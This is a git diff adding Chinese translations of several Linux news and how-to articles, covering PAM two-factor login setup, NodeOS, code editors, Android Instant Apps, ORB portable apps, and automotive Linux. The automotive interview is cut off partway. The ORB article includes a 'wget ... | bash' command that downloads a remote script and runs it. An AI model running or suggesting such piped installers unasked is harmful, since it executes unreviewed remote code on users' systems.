从今年的调查中了解到了很多,如安全,政策,商业模式等。我们很兴奋能够分享这些新发现。感谢我们的合作者,以及所有参与我们调查的受访者。这是一个伟大的十年,我很高兴我们可以肯定地说,开源的未来充满了无限可能。 + +想要了解更多内容,可以查看完整的[调查结果][3]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/business/16/5/2016-future-open-source-survey + +作者:[Haidee LeClair][a] +译者:[Cathon](https://github.com/Cathon) +校对:[wxy](https://github.com/wxy) + +[a]: https://opensource.com/users/blackduck2016 +[1]: http://www.slideshare.net/blackducksoftware/2016-future-of-open-source-survey-results +[2]: https://info.blackducksoftware.com/OpenSourceRookies2015.html +[3]: http://www.slideshare.net/blackducksoftware/2016-future-of-open-source-survey-results%C2%A0 diff --git a/published/201606/20160513 How to Set Up 2-Factor Authentication for Login and sudo.md b/published/201606/20160513 How to Set Up 2-Factor Authentication for Login and sudo.md new file mode 100644 index 0000000000..12012c9045 --- /dev/null +++ b/published/201606/20160513 How to Set Up 2-Factor Authentication for Login and sudo.md @@ -0,0 +1,102 @@ +如何为登录和 sudo 设置双因子认证 +========================================================== + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/auth_crop.png?itok=z_cdYZZf) + +安全就是一切。我们生活的当今世界,数据具有令人难以置信的价值,而你也一直处于数据丢失的风险之中。因此,你必须想尽办法保证你桌面系统和服务器中数据的安全。结果,管理员和用户就会创建极其复杂的密码、使用密码管理器甚至其它更复杂的东西。但是,如果我告诉你你可以只需要一步,至多两步就能登录到你的 Linux 服务器或桌面系统中呢?多亏了 [Google 身份验证器][2],现在你可以做到了。并且,配置也极其简单。 + +我会给你简要介绍为登录和 sudo 设置双因子认证的步骤。我基于 Ubuntu 16.04 桌面系统进行介绍,但这些步骤也适用于其它服务器。为了实现双因子认证,我会使用 Google 身份验证器。 + +这里有个非常重要的警告:一旦你设置了认证,没有一个从认证器中获得的由 6 个数字组成的验证码你就不可能登录账户(或者执行 sudo 命令)。这也给你增加了一步额外的操作,因此如果你不想每次登录到 Linux 服务器(或者使用 sudo)的时候都要拿出你的智能手机,这个方案就不适合你。但你也要记住,这额外的一个步骤也给你带来一层其它方法无法给予的保护。 + +话不多说,开始吧。 + +### 安装必要的组件 + +安装 Google 身份验证器(Google Authenticator),首先要解决两个问题。一是安装智能机应用。下面是如何从 Google 应用商店安装的方法: + +1. 在你的安卓设备中打开 Google 应用商店 +2. 搜索 google 身份验证器 +3. 找到并点击有 Google Inc. 标识的应用 +4. 点击安装 +5. 点击“接受” +6. 等待安装完成 + +接下来,我们继续在你的 Linux 机器上安装这个认证器。步骤如下: + +1. 打开一个终端窗口 +2. 输入命令 sudo apt-get install google-authenticator +3. 输入你的 sudo 密码并敲击回车 +4. 如果有弹窗提示,输入 y 并敲击回车 +5. 等待安装完成 + +接下来配置使用 google-authenticator 进行登录。 + +### 配置 + +要为登录和 sudo 添加双因子认证只需要编辑一个文件,即 /etc/pam.d/common-auth。打开并找到如下一行: + +``` +auth [success=1 default=ignore] pam_unix.so nullok_secure +``` + +在这行上面添加: + +``` +auth required pam_google_authenticator.so +``` + +保存并关闭文件。 + +下一步就是为系统中的每个用户设置 google-authenticator(否则他们就不能登录了)。为了简单起见,我们假设你的系统中有两个用户:jack 和 olivia。首先为 jack 设置(我们假设这是我们一直使用的账户)。 + +打开一个终端窗口并输入命令 google-authenticator。之后会问你一系列的问题(每个问题你都应该用 y 回答)。问题包括: + +* 是否允许更新你的 "/home/jlwallen/.google_authenticator" 文件 (y/n) y +* 是否禁止多个用户使用同一个认证令牌?这会限制你每 30 秒内只能登录一次,但能增加你注意到甚至防止中间人攻击的可能 (y/n) +* 默认情况下令牌时长为 30 秒即可,为了补偿客户端和服务器之间可能出现的时间偏差,我们允许使用当前时间之前或之后的其它令牌。如果你无法进行时间同步,你可以把这个时间窗口由默认的 1:30 分钟增加到 4 分钟。是否希望如此 (y/n) +* 如果你尝试登录的计算机没有针对暴力破解进行加固,你可以为验证模块启用速率限制。默认情况下,限制攻击者每 30 秒不能尝试登陆超过 3 次。是否启用速率限制 (y/n) + +一旦完成了问题回答,你就会看到你的密钥、验证码以及 5 个紧急刮码(emergency scratch code)。把这些刮码打印出来并保存。你可以在无法使用手机的时候使用它们(每个刮码仅限使用一次)。密钥用于你在 Google 身份验证器上设置账户,验证码是你能当下就能够立即使用(如果需要)的一次性验证码。 + +### 设置应用 + +现在你已经配置好了用户 jack。在设置用户 olivia 之前,你需要在 Google 身份验证器应用上为 jack 添加账户(LCTT 译注:实际操作情形中,是为 jack 的手机上安装的该应用创建一个账户)。在打开应用,点击“菜单”按钮(右上角三个竖排点)。点击“添加账户”然后点击“输入提供的密钥”。在下一个窗口(图1),你需要输入你运行 google-authenticator 应用时提供的 16 个数字的密钥。给账户取个名字(以便你记住这用于哪个账户),然后点击“添加”。 + +![](https://www.linux.com/sites/lcom/files/styles/floated_images/public/auth_a.png?itok=xSMkd-Mf) + +*图1: 在 Google Authenticator 应用上新建账户* + +(LCTT 译注:Google 身份验证器也可以扫描你在服务器上设置时显示的二维码,而不用手工输入密钥) + +添加完账户之后,你就会看到一个 6 个数字的密码,你每次登录或者使用 sudo 的时候都会需要这个密码。 + +最后,在系统上设置其它账户。正如之前提到的,我们会设置一个叫 olivia 的账户。步骤如下: + +1. 打开一个终端窗口 +2. 输入命令 sudo su olivia +3. 在智能机上打开 Google 身份验证器 +4. 在终端窗口(图2)中输入(应用提供的) 6 位数字验证码并敲击回车 +5. 输入你的 sudo 密码并敲击回车 +6. 以新用户输入命令 google-authenticator,回答问题并记录生成的密钥和验证码。 + +成功为 olivia 用户设置好之后,用 google-authenticator 命令,在 Google 身份验证器应用上根据用户信息(和之前为第一个用户添加账户相同)添加一个新的账户。现在你在 Google 身份验证器应用上就会有 jack 和 olivia 两个账户了。(LCTT 译注:在实际操作情形中,通常是为 jack 和 olivia 两个人的手机分别设置。) + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/auth_b.png?itok=FH36V1r0) + +*图2: 为 sudo 输入 6位数字验证码* + +好了,就是这些。每次你尝试登录系统(或者使用 sudo) 的时候,在你输入用户密码之前,都会要求你输入提供的 6 位数字验证码。现在你的 Linux 机器就比添加双因子认证之前安全多了。虽然有些人会认为这非常麻烦,我仍然推荐使用,尤其是那些保存了敏感数据的机器。 + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/learn/how-set-2-factor-authentication-login-and-sudo + +作者:[JACK WALLEN][a] +译者:[ictlyh](http://mutouxiaogui.cn/blog/) +校对:[wxy](https://github.com/wxy) + +[a]: https://www.linux.com/users/jlwallen +[1]: https://www.linux.com/licenses/category/used-permission +[2]: https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2 + diff --git a/published/201606/20160514 NODEOS - LINUX DISTRIBUTION FOR NODE LOVERS.md b/published/201606/20160514 NODEOS - LINUX DISTRIBUTION FOR NODE LOVERS.md new file mode 100644 index 0000000000..ea47ad605b --- /dev/null +++ b/published/201606/20160514 NODEOS - LINUX DISTRIBUTION FOR NODE LOVERS.md @@ -0,0 +1,53 @@ +NodeOS:Node 爱好者的 Linux 发行版 +================================================ + +![](http://itsfoss.com/wp-content/uploads/2016/05/node-os-linux.jpg) + +[NodeOS][1] 是一款基于 [Node.js][2] 的操作系统,自去年其首个[发布候选版][3]之后正朝着它的1.0版本进发。 + +如果你之前不知道的话,NodeOS 是首个架构在 [Linux][5] 内核之上的由 Node.js 和 [npm][4] 驱动的操作系统。[Jacob Groundwater][6] 在2013年中期介绍了这个项目。该操作系统中用到的主要技术是: + +- **Linux 内核**: 这个系统建造在 Linux 内核上 +- **Node.js 运行时**: Node 作为主要的运行时环境 +- **npm 包管理**: npm 作为包管理 + +NodeOS 源码托管在 [Github][7] 上,因此,任何感兴趣的人都可以轻松贡献或者报告 bug。用户可以从源码构建或者使用[预编译镜像][8]。构建过程及快速起步指南可以在项目仓库中找到。 + +NodeOS 背后的思想是提供足够 npm 运行的环境,剩余的功能就可以让 npm 包管理来完成。因此,用户可以使用多达大约 250,000 个软件包,并且这个数目每天都还在增长。所有的都是开源的,你可以根据你的需要很容易地打补丁或者增加更多的包。 + +NodeOS 核心开发被分离成了不同的层面,基本的结构包含: + +- **barebones** – 带有可以启动到 Node.js REPL 的 initramfs 的自定义内核 +- **initramfs** – 用于挂载用户分区以及启动系统的 initram 文件系统 +- **rootfs** – 存放 linux 内核及 initramfs 文件的只读分区 +- **usersfs** – 多用户文件系统(如传统系统一样) + +NodeOS 的目标是可以在任何平台上运行,包括: **实际的硬件(用户计算机或者 SoC)**、**云平台、虚拟机、PaaS 提供商,容器**(Docker 和 Vagga)等等。如今看来,它做得似乎不错。在3.3号,NodeOS 的成员 [Jesús Leganés Combarro][9] 在 Github上[宣布][10]: + +>**NodeOS 不再是一个玩具系统了**,它现在开始可以用在有实际需求的生产环境中了。 + +因此,如果你是 Node.js 的死忠或者乐于尝试新鲜事物,这或许值得你一试。在相关的文章中,你应该了解这些[Linux 发行版的具体用法][11] + + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/nodeos-operating-system/ + +作者:[Munif Tanjim][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://itsfoss.com/author/munif/ +[1]: http://node-os.com/ +[2]: https://nodejs.org/en/ +[3]: https://github.com/NodeOS/NodeOS/releases/tag/v1.0-RC1 +[4]: https://www.npmjs.com/ +[5]: http://itsfoss.com/tag/linux/ +[6]: https://github.com/groundwater +[7]: https://github.com/nodeos/nodeos +[8]: https://github.com/NodeOS/NodeOS/releases +[9]: https://github.com/piranna +[10]: https://github.com/NodeOS/NodeOS/issues/216 +[11]: http://itsfoss.com/weird-ubuntu-based-linux-distributions/ diff --git a/published/201606/20160516 4 BEST MODERN OPEN SOURCE CODE EDITORS FOR LINUX.md b/published/201606/20160516 4 BEST MODERN OPEN SOURCE CODE EDITORS FOR LINUX.md new file mode 100644 index 0000000000..f4760a61d5 --- /dev/null +++ b/published/201606/20160516 4 BEST MODERN OPEN SOURCE CODE EDITORS FOR LINUX.md @@ -0,0 +1,82 @@ +Linux 上四个最佳的现代开源代码编辑器 +================================================== + +![](http://itsfoss.com/wp-content/uploads/2015/01/Best_Open_Source_Editors.jpeg) + +在寻找 **Linux 上最好的代码编辑器**?如果你问那些老派的 Linux 用户,他们的答案肯定是 Vi,Vim,Emacs,Nano 等等。但我不讨论它们。我要讨论的是崭新、先进、优美、强大、功能丰富,能够提高你编程体验的**最好的 Linux 开源代码编辑器**。 + +### Linux 上最佳的现代开源代码编辑器 + +我使用 Ubuntu 作为我的主力系统,因此提供的安装说明适用于基于 Ubuntu 的发行版。但这并不会让这个列表变成 **Ubuntu 上的最佳文本编辑器**,因为这些编辑器对所有 Linux 发行版都适用。多说一句,这个清单的排名没有任何先后顺序。 + +### BRACKETS + +![](http://itsfoss.com/wp-content/uploads/2015/01/brackets_UI.jpeg) + +[Brackets][1] 是来自 [Adobe][2] 的一个开源代码编辑器。Brackets 专注于 web 设计师的需求,内置 HTML、CSS 和 JavaScript 支持。它很轻量,也很强大。它提供了行内编辑和实时预览。还有无数可用的插件,可以进一步加强你在 Brackets 上的体验。 + +在 Ubuntu 以及基于 Ubuntu 的发行版(比如 Linux Mint)上[安装 Brackets][3] 的话,你可以用这个非官方的 PPA: + +``` +sudo add-apt-repository ppa:webupd8team/brackets +sudo apt-get update +sudo apt-get install brackets +``` + +至于其它 Linux 发行版,你可以从它的网站上获取到适用于 Linux,OS X 和 Windows 源码和二进制文件。 + +- [下载 Brackets 源码和二进制包](https://github.com/adobe/brackets/releases) + +### ATOM + +![](http://itsfoss.com/wp-content/uploads/2014/08/Atom_Editor.jpeg) + +[Atom][4] 是另一个给程序员的开源代码编辑器,现代而且美观。Atom 是由 Github 开发的,宣称是“面向21世纪的可魔改文本编辑器”。Atom 的外观看起来类似 Sublime Text,那是一个在程序员中很流行但是闭源的文本编辑器。 + +Atom 最近发布了 .deb 和 .rpm 包,所以你可以轻而易举地在基于 Debian 和 Fedora 的 Linux 发行版上安装它。当然,它也提供了源代码。 + +- [下载 Atom .deb](https://atom.io/download/deb) +- [下载 Atom .rpm](https://atom.io/download/rpm) +- [获取 Atom 源码](https://github.com/atom/atom/blob/master/docs/build-instructions/linux.md) + +### LIME TEXT + +![](http://itsfoss.com/wp-content/uploads/2014/08/LimeTextEditor.jpeg) + +你喜欢 Sublime Text 但是你对它是闭源的这一事实感觉不是很舒服?别担心,我们有 [Sublime Text 的开源克隆版][5],叫做 [Lime Text][6]。它是基于 Go、HTML 和 QT 的。克隆 Sublime Text 的原因是 Sublime Text 2 中有无数 bug,而 Sublime Text 3 看起来会永远处于 beta 之中,而它的开发过程并不透明,也就无从得知 bug 是否被修复了。 + +所以开源爱好者们,开心地去下面这个链接下载 Lime Text 的源码吧: + +- [获取 Lime Text 源码](https://github.com/limetext/lime) + +### LIGHT TABLE + +![](http://itsfoss.com/wp-content/uploads/2015/01/Light_Table.jpeg) + +[Light Table][7] 是另一个外观现代、功能丰富的开源代码编辑器,标榜为“下一代代码编辑器”,它更像一个 IDE 而不仅仅是个文本编辑器。它还有无数可以加强它的功能的扩展。也许你会喜欢它的行内求值。你得用用它才会相信 Light Table 有多好用。 + +- [在 Ubuntu 上安装 Light Table](http://itsfoss.com/install-lighttable-ubuntu/) + +### 你的选择是? + +不,我们的选择没有限制在这四个 Linux 代码编辑器之中。这个清单只是关于程序员的现代编辑器。当然,你还有很多选择,比如 [Notepad++ 的替代选择 Notepadqq][8] 或 [SciTE][9] 等等。那么,上面四个中,在 Linux 上而言你最喜欢哪个代码编辑器? + +---------- +via: http://itsfoss.com/best-modern-open-source-code-editors-for-linux/ + +作者:[Abhishek Prakash][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://itsfoss.com/author/abhishek/ +[1]: http://brackets.io/ +[2]: http://www.adobe.com/ +[3]: http://itsfoss.com/install-brackets-ubuntu/ +[4]: https://atom.io/ +[5]: http://itsfoss.com/lime-text-open-source-alternative/ +[6]: http://limetext.org/ +[7]: http://lighttable.com/ +[8]: http://itsfoss.com/notepadqq-notepad-for-linux/ +[9]: http://itsfoss.com/scite-the-notepad-for-linux/ diff --git a/published/201606/20160518 Android Use Apps Even Without Installing Them.md b/published/201606/20160518 Android Use Apps Even Without Installing Them.md new file mode 100644 index 0000000000..40cf217035 --- /dev/null +++ b/published/201606/20160518 Android Use Apps Even Without Installing Them.md @@ -0,0 +1,70 @@ +安卓的下一场革命:不安装即可使用应用! +=================================================================== + +谷歌安卓的一项新创新将可以让你无需安装即可在你的设备上使用应用程序。现在已经初具雏形。 + +还记得那时候吗,某人发给你了一个链接,要求你通过安装一个应用才能查看。 + +是否要安装这个应用就为了看一下链接,这种进退两难的选择一定让你感到很沮丧。而且,安装应用这个事也会消耗你不少宝贵的时间。 + +上述场景可能大多数人都经历过,或者说大多数现代科技用户都经历过。尽管如此,我们都接受,认为这是天经地义的事情。 + +事实真的如此吗? + +针对这个问题谷歌的安卓部门给出了一个全新的、开箱即用的答案: + +### Android Instant Apps (AIA) + +Android Instant Apps 声称可以从一开始就帮你摆脱这样的两难境地,让你简单地点击链接(见打开链接的示例)然后直接开始使用这个应用。 + +另一个真实生活场景的例子,如果你想停车但是没有停车码表的相应应用,有了 Instant Apps 在这种情况下就方便多了。 + +根据谷歌提供的信息,你可以简单地将你的手机和码表触碰,停车应用就会直接显示在你的屏幕上,并且准备就绪可以使用。 + +#### 它是怎么工作的? + +Instant Apps 和你已经熟悉的应用基本相同,只有一个不同——这些应用为了满足你完成某项任务的需要,只提供给你已经经过**裁剪和模块化**的应用必要部分。 + +例如,展开打开链接的场景作为例子,为了查看一个链接,你不需要拥有一个可以写、发送,做咖啡或其它特性的全功能应用。你所需要的全部就是查看功能——而这就是你所会获取到的部分。 + +这样应用就可以快速打开,让你可以完成你的目标任务。 + +![](http://www.iwillfolo.com/wordpress/wp-content/uploads/2016/05/AIA-demo.jpg) + +*AIA 示例* + +![](https://4.bp.blogspot.com/-p5WOrD6wVy8/VzyIpsDqULI/AAAAAAAADD0/xbtQjurJZ6EEji_MPaY1sLK5wVkXSvxJgCKgB/s800/B%2526H%2B-%2BDevice%2B%2528Final%2529.gif) + +*B&H 图片(通过谷歌搜索)* + +![](https://2.bp.blogspot.com/-q5ApCzECuNA/VzyKa9l0t2I/AAAAAAAADEI/nYhhMClDl5Y3qL5-wiOb2J2QjtGWwbF2wCLcB/s800/BuzzFeed-Device-Install%2B%2528Final%2529.gif) + +*BuzzFeedVideo(通过一个共享链接)* + +![](https://2.bp.blogspot.com/-mVhKMMzhxms/VzyKg25ihBI/AAAAAAAADEM/dJN6_8H7qkwRyulCF7Yr2234-GGUXzC6ACLcB/s800/Park%2Band%2BPay%2B-%2BDevice%2Bwith%2BMeter%2B%2528Final%2529.gif) + +*停车与支付(例)(通过 NFC)* + + +听起来很棒,不是吗?但是其中还有很多技术方面的问题需要解决。 + +比如,从安全的观点来说:从理论上来说,如果任何应用都能在你的设备上运行,甚至你都不用安装它——你要怎么保证设备远离恶意软件攻击? + +因此,为了消除这类威胁,谷歌还在这个项目上努力,目前只有少数合作伙伴,未来将逐步扩展。 + +谷歌最终计划在明年发布 AIA(Android Instant Apps)。 + +相关:[介绍 Android Instant Apps][1] + +-------------------------------------------------------------------------------- + +via: http://www.iwillfolo.com/androids-next-revolution-use-apps-even-without-installing-them/ + +作者:[iwillfolo][a] +译者:[alim0x](https://github.com/alim0x) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.iwillfolo.com +[1]: http://android-developers.blogspot.co.il/2016/05/android-instant-apps-evolving-apps.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+blogspot/hsDu+%28Android+Developers+Blog%29 diff --git a/published/201606/20160520 ORB - NEW GENERATION OF LINUX APPS ARE HERE.md b/published/201606/20160520 ORB - NEW GENERATION OF LINUX APPS ARE HERE.md new file mode 100644 index 0000000000..4f31e9ed63 --- /dev/null +++ b/published/201606/20160520 ORB - NEW GENERATION OF LINUX APPS ARE HERE.md @@ -0,0 +1,134 @@ +ORB:新一代 Linux 应用 +============================================= + +![](http://itsfoss.com/wp-content/uploads/2016/05/ORB-Apps.jpeg) + +我们之前讨论过[在 Ubuntu 上离线安装应用][1]。我们现在要再次讨论它。 + +[Orbital Apps][2] 给我们带来了一种新的软件包类型 **ORB**,它具有便携软件、交互式安装向导支持,以及离线使用的能力。 + +便携软件很方便。主要是因为它们能够无需任何管理员权限直接运行,也能够带着所有的设置和数据随 U 盘存储。而交互式的安装向导也能让我们轻松地安装应用。 + +### 开放式可运行的打包(OPEN RUNNABLE BUNDLE) (ORB) + +ORB 是一个自由开源的包格式,它和其它包格式在很多方面有所不同。ORB 的一些特性: + +- **压缩**:所有的包都经过 squashfs 压缩,体积最多可减少 60%。 +- **便携模式**:如果一个便携 ORB 应用是在可移动设备上运行的,它会把所有设置和数据存储在那之上。 +- **安全**:所有的 ORB 包使用 PGP/RSA 签名,通过 TLS 1.2 分发。 +- **离线**:所有的依赖都打包进软件包,所以不再需要下载依赖。 +- **开放式软件包**:ORB 软件包可以作为 ISO 镜像挂载。 + +### 种类 + +ORB 应用现在有两种类别: + +- 便携软件 +- SuperDEB + +### 1. 便携 ORB 软件 + +便携 ORB 软件可以立即运行而不需要任何的事先安装。这意味着它不需要管理员权限,也没有依赖!你可以直接从 Orbital Apps 网站下载下来就能使用。 + +并且由于它支持便携模式,你可以将它拷贝到 U 盘携带。它所有的设置和数据会和它一起存储在 U 盘。只需将 U 盘连接到任何运行 Ubuntu 16.04 的机器上就行了。 + +#### 可用便携软件 + +目前有超过 35 个软件以便携包的形式提供,包括一些十分流行的软件,比如:[Deluge][3],[Firefox][4],[GIMP][5],[Libreoffice][6],[uGet][7] 以及 [VLC][8]。 + +完整的可用包列表可以查阅 [便携 ORB 软件列表][9]。 + +#### 使用便携软件 + +按照以下步骤使用便携 ORB 软件: + +- 从 Orbital Apps 网站下载想要的软件包。 +- 将其移动到想要的位置(本地磁盘/U 盘)。 +- 打开存储 ORB 包的目录。 + + ![](http://itsfoss.com/wp-content/uploads/2016/05/using-portable-orb-app-1-1024x576.jpg) +- 打开 ORB 包的属性。 + + ![给 ORB 包添加运行权限](http://itsfoss.com/wp-content/uploads/2016/05/using-portable-orb-app-2.jpg) + +- 在权限标签页添加运行权限。 +- 双击打开它。 + +等待几秒,让它准备好运行。大功告成。 + +### 2. SuperDEB + +另一种类型的 ORB 软件是 SuperDEB。SuperDEB 很简单,交互式安装向导能够让软件安装过程顺利得多。如果你不喜欢从终端或软件中心安装软件,superDEB 就是你的菜。 + +最有趣的部分是你安装时不需要一个互联网连接,因为所有的依赖都由安装向导打包了。 + +#### 可用的 SuperDEB + +超过 60 款软件以 SuperDEB 的形式提供。其中一些流行的有:[Chromium][10],[Deluge][3],[Firefox][4],[GIMP][5],[Libreoffice][6],[uGet][7] 以及 [VLC][8]。 + +完整的可用 SuperDEB 列表,参阅 [SuperDEB 列表][11]。 + +#### 使用 SuperDEB 安装向导 + +- 从 Orbital Apps 网站下载需要的 SuperDEB。 +- 像前面一样给它添加**运行权限**(属性 > 权限)。 +- 双击 SuperDEB 安装向导并按下列说明操作: + + ![点击 OK](http://itsfoss.com/wp-content/uploads/2016/05/Using-SuperDEB-Installer-1.png) + + ![输入你的密码并继续](http://itsfoss.com/wp-content/uploads/2016/05/Using-SuperDEB-Installer-2.png) + + ![它会开始安装…](http://itsfoss.com/wp-content/uploads/2016/05/Using-SuperDEB-Installer-3.png) + + ![一会儿它就完成了…](http://itsfoss.com/wp-content/uploads/2016/05/Using-SuperDEB-Installer-4.png) + +- 完成安装之后,你就可以正常使用了。 + +### ORB 软件兼容性 + +从 Orbital Apps 可知,它们完全适配 Ubuntu 16.04 [64 位]。 + +至于其它发行版兼容性则不受保证。但我们可以说,它在所有 Ubuntu 16.04 衍生版(UbuntuMATE,UbuntuGNOME,Lubuntu,Xubuntu 等)以及基于 Ubuntu 16.04 的发行版(比如即将到来的 Linux Mint 18)上都适用。我们现在还不清楚 Orbital Apps 是否有计划拓展它的支持到其它版本 Ubuntu 或 Linux 发行版上。 + +如果你在你的系统上经常使用便携 ORB 软件,你可以考虑安装 ORB 启动器。它不是必需的,但是推荐安装它以获取更佳的体验。最简短的 ORB 启动器安装流程是打开终端输入以下命令: + +``` +wget -O - https://www.orbital-apps.com/orb.sh | bash +``` + +你可以在[官方文档][13]找到更加详细的介绍。 + +### 如果我需要的软件不在列表里? + +如果你需要一个当前并没有可用 ORB 包的软件,你可以[联系][14] Orbital Apps。好消息是,Orbital Apps 正在致力于推出一个创建 ORB 包的工具。所以,不久后我们有希望可以自己制作 ORB 包! + +多说一句,这个文章是关于离线安装软件的。如果你感兴趣的话,你可以看看[如何离线更新或升级 Ubuntu][15]。 + +所以,你怎么看 Orbital Apps 的便携软件和 SuperDEB 安装向导?你会试试吗? + + +---------------------------------- +via: http://itsfoss.com/orb-linux-apps/ + +作者:[Munif Tanjim][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/munif/ +[1]: http://itsfoss.com/cube-lets-install-linux-applications-offline/ +[2]: https://www.orbital-apps.com/ +[3]: https://www.orbital-apps.com/download/portable_apps_linux/deluge +[4]: https://www.orbital-apps.com/download/portable_apps_linux/firefox +[5]: https://www.orbital-apps.com/download/portable_apps_linux/gimp +[6]: https://www.orbital-apps.com/download/portable_apps_linux/libreoffice +[7]: https://www.orbital-apps.com/download/portable_apps_linux/uget +[8]: https://www.orbital-apps.com/download/portable_apps_linux/vlc +[9]: https://www.orbital-apps.com/download/portable_apps_linux/ +[10]: https://www.orbital-apps.com/download/superdeb_installers/ubuntu_16.04_64bits/chromium/ +[11]: https://www.orbital-apps.com/superdebs/ubuntu_16.04_64bits/ +[12]: http://itsfoss.com/32-bit-64-bit-ubuntu/ +[13]: https://www.orbital-apps.com/documentation +[14]: https://www.orbital-apps.com/contact +[15]: http://itsfoss.com/upgrade-or-update-ubuntu-offline-without-internet/ diff --git a/published/201606/20160523 Driving cars into the future with Linux.md b/published/201606/20160523 Driving cars into the future with Linux.md new file mode 100644 index 0000000000..fad7ca99f2 --- /dev/null +++ b/published/201606/20160523 Driving cars into the future with Linux.md @@ -0,0 +1,106 @@ +与 Linux 一同驾车奔向未来 +=========================================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/open-snow-car-osdc-lead.png?itok=IgYZ6mNY) + +当我驾车的时候并没有这么想过,但是我肯定喜欢一个配有这样系统的车子,它可以让我按下几个按钮就能与我的妻子、母亲以及孩子们语音通话。这样的系统也可以让我选择是否从云端、卫星广播、以及更传统的 AM/FM 收音机收听音乐流媒体。我也会得到最新的天气情况,以及它可以引导我的车载 GPS 找到抵达下一个目的地的最快路线。[车载娱乐系统(In-vehicle infotainment)][1],业界常称作 IVI,它已经普及出现在最新的汽车上了。 + +前段时间,我乘坐飞机跨越了数百英里,然后租了一辆汽车。令人愉快的是,我发现我租赁的汽车上配置了类似我自己车上同样的 IVI 技术。毫不犹豫地,我就通过蓝牙连接把我的联系人上传到了系统当中,然后打电话回家给我的家人,让他们知道我已经安全抵达了,然后我的主机会让他们知道我正在去往他们家的路上。 + +在最近的[新闻综述][2]中,Scott Nesbitt 引述了一篇文章,说福特汽车公司因其开源的[智能设备连接(Smart Device Link)][3](SDL)从竞争对手汽车制造商中得到了足够多的回报,这个中间件框架可以用于支持移动电话。 SDL 是 [GENIVI 联盟][4]的一个项目,这个联盟是一个非营利性组织,致力于建设支持开源车载娱乐系统的中间件。据 GENIVI 的执行董事 [Steven Crumb][5] 称,他们的[成员][6]有很多,包括戴姆勒集团、现代、沃尔沃、日产、本田等等 170 个企业。 + +为了在同行业间保持竞争力,汽车生产企业需要一个中间设备系统,以支持现代消费者所使用的各种人机界面技术。无论您使用的是 Android、iOS 还是其他设备,汽车 OEM 厂商都希望自己的产品能够支持这些。此外,这些的 IVI 系统必须有足够适应能力以支持日益变化的移动技术。OEM 厂商希望提供有价值的服务,并可以在他们的 IVI 之上增加服务,以满足他们客户的各种需求。 + +### 步入 Linux 和开源软件 + +除了 GENIVI 在努力之外,[Linux 基金会][7]也赞助支持了[车载 Linux(Automotive Grade Linux)][8](AGL)工作组,这是一个致力于为汽车应用寻求开源解决方案的软件基金会。虽然 AGL 初期将侧重于 IVI 系统,但是未来他们希望发展到不同的方向,包括[远程信息处理(telematics)][9]、抬头显示器(HUD)及其他控制系统等等。 现在 AGL 已经有超过 50 名成员,包括捷豹、丰田、日产,并在其[最近发布的一篇公告][10]中宣称福特、马自达、三菱、和斯巴鲁也加入了。 + +为了了解更多信息,我们采访了这一新兴领域的两位领导人。具体来说,我们想知道 Linux 和开源软件是如何被使用的,并且它们是如何事实上改变了汽车行业的面貌。首先,我们将与 [Alison Chaiken][11] 谈谈,她是一位任职于 Peloton Technology 的软件工程师,也是一位在车载 Linux 、网络安全和信息透明化方面的专家。她曾任职于 [Alison Chaiken][11] 公司、诺基亚和斯坦福直线性加速器。然后我们和 [Steven Crumb][12] 进行了交谈,他是 GENIVI 执行董事,他之前从事于高性能计算环境(超级计算机和早期的云计算)的开源工作。他说,虽然他再不是一个程序员了,但是他乐于帮助企业解决在使用开源软件时的实际业务问题。 + +### 采访 Alison Chaiken (by [Deb Nicholson][13]) + +#### 你是如何开始对汽车软件领域感兴趣的? + +我曾在诺基亚从事于手机上的 [MeeGo][14] 产品,2009 年该项目被取消了。我想,我下一步怎么办?其时,我的一位同事正在从事于 [MeeGo-IVI][15],这是一个早期的车载 Linux 发行版。 “Linux 在汽车方面将有很大发展,” 我想,所以我就朝着这个方向努力。 + +#### 你能告诉我们你在这些日子里工作在哪些方面吗? + +我目前正在启动一个高级巡航控制系统的项目,它用在大型卡车上,使用实时 Linux 以提升安全性和燃油经济性。我喜欢在这方面的工作,因为没有人会反对提升货运的能力。 + +#### 近几年有几则汽车被黑的消息。开源代码方案可以帮助解决这个问题吗? + +我恰好针对这一话题准备了一次讲演,我会在南加州 Linux 2016 博览会上就 Linux 能否解决汽车上的安全问题做个讲演 ([讲演稿在此][16])。值得注意的是,GENIVI 和车载 Linux 项目已经公开了他们的代码,这两个项目可以通过 Git 提交补丁。(如果你有补丁的话),请给上游发送您的补丁!许多眼睛都盯着,bug 将无从遁形。 + +#### 执法机构和保险公司可以找到很多汽车上的数据的用途。他们获取这些信息很容易吗? + +好问题。IEEE-1609 专用短程通信标准(Dedicated Short Range Communication Standard)就是为了让汽车的 WiFi 消息可以安全、匿名地传递。不过,如果你从你的车上发推,那可能就有人能够跟踪到你。 + +#### 开发人员和公民个人可以做些什么,以在汽车技术进步的同时确保公民自由得到保护? + +电子前沿基金会( Electronic Frontier Foundation)(EFF)在关注汽车问题方面做了出色的工作,包括对哪些数据可以存储在汽车 “黑盒子”里通过官方渠道发表了看法,以及 DMCA 规定 1201 如何应用于汽车上。 + +#### 在未来几年,你觉得在汽车方面会发生哪些令人激动的发展? + 